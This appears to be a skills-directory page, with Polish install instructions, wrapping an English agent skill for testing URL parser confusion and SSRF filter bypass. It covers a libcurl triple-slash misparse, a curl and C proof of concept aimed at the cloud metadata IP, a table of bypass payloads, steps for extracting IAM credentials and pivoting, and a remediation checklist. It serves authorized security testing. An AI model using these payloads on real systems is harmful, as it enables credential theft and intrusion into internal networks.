Jak używać
- Skopiuj polecenie instalacji i sprawdź źródła przed instalacją we własnym środowisku agenta.
- W oryginale sprawdź wymagane narzędzia, dane dostępowe i obsługiwane środowiska.
- Opisz dane wejściowe i oczekiwany rezultat; porównaj wynik ze źródłami.
npx skills add https://github.com/security-talent/bugskill-ai --skill url-parser-confusion-testingPrzed rozpoczęciem
- Instalacja nie obejmuje subskrypcji modelu, limitu API ani uprawnień do plików.
- Gwiazdki i instalacje pokazują aktywność, a nie niezależny test jakości lub bezpieczeństwa.
Treść z repozytorium z zachowaniem nagłówków, przykładów, kodu, tabel, linków i obrazów.
URL Parser Confusion & SSRF Filter Bypass
Different URL parsers disagree on how to interpret malformed URLs. When an application validates with one parser and fetches with another (or fetches with the same parser but mis-trusts its output), an attacker can craft a URL that passes the allowlist check but resolves to an attacker-chosen host → Server-Side Request Forgery (SSRF). Targets must be within the scope of the engagement you are authorized to test.
When to Use
- URL validation, webhook inputs, and proxy/fetch endpoints (
/fetch?url=...,/preview?url=...,/webhook) - Hostname allowlist / denylist bypass assessments
- Microservice architecture audits where validation and HTTP client libraries differ (e.g. Node validator + curl/Go backend)
- SSRF filter bypass assessments for cloud metadata endpoints (
169.254.169.254,metadata.google.internal) or internal network ranges (10.0.0.0/8,127.0.0.1) - Reviewing C/C++, Python, Node.js, Go, Java, or PHP URL handling logic
Reference Case: HackerOne #3923212 (curl URL API)
libcurl's parseurl() in lib/urlapi.c misparses http:///host/path. Per RFC 3986 the authority between // and / is empty, so /host/path is the path. libcurl instead treats the first path segment as the hostname (slash counter reaches 3, hostp is set to whatever follows the third slash).
# curl CLI reproduction (path becomes hostname)
curl -w "\n%{url_effective}\n" http:///169.254.169.254/latest/meta-data/
# -> http://169.254.169.254/latest/meta-data/
# CURLU API PoC (compile: gcc poc.c $(curl-config --cflags --libs))
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURLU *u = curl_url();
curl_url_set(u, CURLUPART_URL,
"http:///169.254.169.254/latest/meta-data/", 0);
char *host = NULL, *path = NULL;
curl_url_get(u, CURLUPART_HOST, &host, 0);
curl_url_get(u, CURLUPART_PATH, &path, 0);
printf("host=%s path=%s\n", host, path); // host=169.254.169.254
curl_free(host); curl_free(path); curl_url_cleanup(u);
return 0;
}Phase 0: Recon & Target Mapping
- Identify URL Input Endpoints:
- Webhook registration, avatar/image import by URL, PDF generation from URL, oEmbed/rich link preview, proxy/cache endpoints.
- Identify Validation Mechanisms:
- RegEx pattern matching on domain names.
- Parsing domain via URL library followed by string suffix check (
.endswith("example.com")). - Allowlist / Blocklist checking against IP ranges or DNS resolutions.
- Identify Backend Fetch Client:
- Determine which HTTP client fetches the URL: cURL / libcurl, Python
requests/urllib, Nodefetch/axios, Gonet/http, or JavaHttpURLConnection.
Phase 1: Differential Parser Testing
Compare how different parsers treat candidate URLs:
| Technique | Example Syntax | Parser Behavior Differential |
|---|---|---|
| Triple-Slash Anomaly | http:///169.254.169.254/path | RFC 3986 (Python/Node): empty authority / path /169.254.169.254/path.<br>libcurl (< 8.11): host 169.254.169.254. |
| Userinfo Delimiters | http://trusted.com@169.254.169.254/ | Validator sees trusted.com user, fetcher connects to 169.254.169.254. |
| Backslash Substitution | http://trusted.com\169.254.169.254/ | WHATWG (Node/browser) converts \ to / (host = trusted.com).<br>libcurl / Go treats \ as path or host character. |
| URL-Encoded Delimiters | http://trusted.com%23@169.254.169.254/ | Unescaped in validation vs. escaped in HTTP client. |
| Numeric & Hex IPs | http://0xa9fea9fe/ or http://2852039166/ | Decimal/Hex representation of 169.254.169.254. |
| IPv4-Mapped IPv6 | http://[::ffff:169.254.169.254]/ | Bypasses naive IPv4 string blocklists. |
Phase 2: Probing & Bypasses
Test target endpoints with differential payloads using the bundled automation tool or cURL:
# Run standalone differential test against default cloud metadata IP
python3 scripts/url_parser_diff.py
# Test custom target internal IP and path
python3 scripts/url_parser_diff.py --ip 169.254.169.254 --path /latest/meta-data/
# Filter only parser disagreements
python3 scripts/url_parser_diff.py --only-interestingPhase 3: Automation Tooling (url_parser_diff.py)
The bundled tool `scripts/url_parser_diff.py` natively tests:
- Python
urllib.parse(RFC 3986) - cURL / libcurl CLI (
%{url_effective}) - Node.js
WHATWG URL(when Node is available)
# Output JSON for CI/CD or automation pipelines
python3 scripts/url_parser_diff.py --jsonPhase 4: Impact Chaining & Reporting
- Cloud Metadata Access: Extract IAM credentials, API keys, service account tokens (
http://169.254.169.254/latest/meta-data/iam/security-credentials/). - Internal Microservice Exploitation: Access unauthenticated internal administrative panels, Kubernetes kubelet APIs, or internal REST services.
- Port Scanning & Network Pivoting: Enumerate internal open ports and services across private CIDR ranges.
CVSS 3.1 & CWE Mapping
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-625: Permissive List of Allowed Inputs
- CWE-20: Improper Input Validation
- CVSS:3.1 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N(Base Score: 8.6 High / Critical depending on cloud IAM exposure)
Remediation Checklist
- [ ] Single Unified Parser: Use the exact same parser/client library for validation and fetching.
- [ ] Resolve DNS First & Validate IP:
- Resolve DNS hostname to IP address.
- Validate that the resolved IP does NOT belong to private ranges (
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16,::1,fc00::/7). - Connect directly to the verified IP address (prevent DNS rebinding via fixed-IP connection or custom dialer).
- [ ] Disable Redirection or Validate Redirect Targets: Ensure HTTP clients do not blindly follow redirects to internal IP addresses.
- [ ] Enforce Strict Scheme Restrictions: Allow only
httpandhttpsschemes; reject all other schemes (gopher://,file://,ftp://).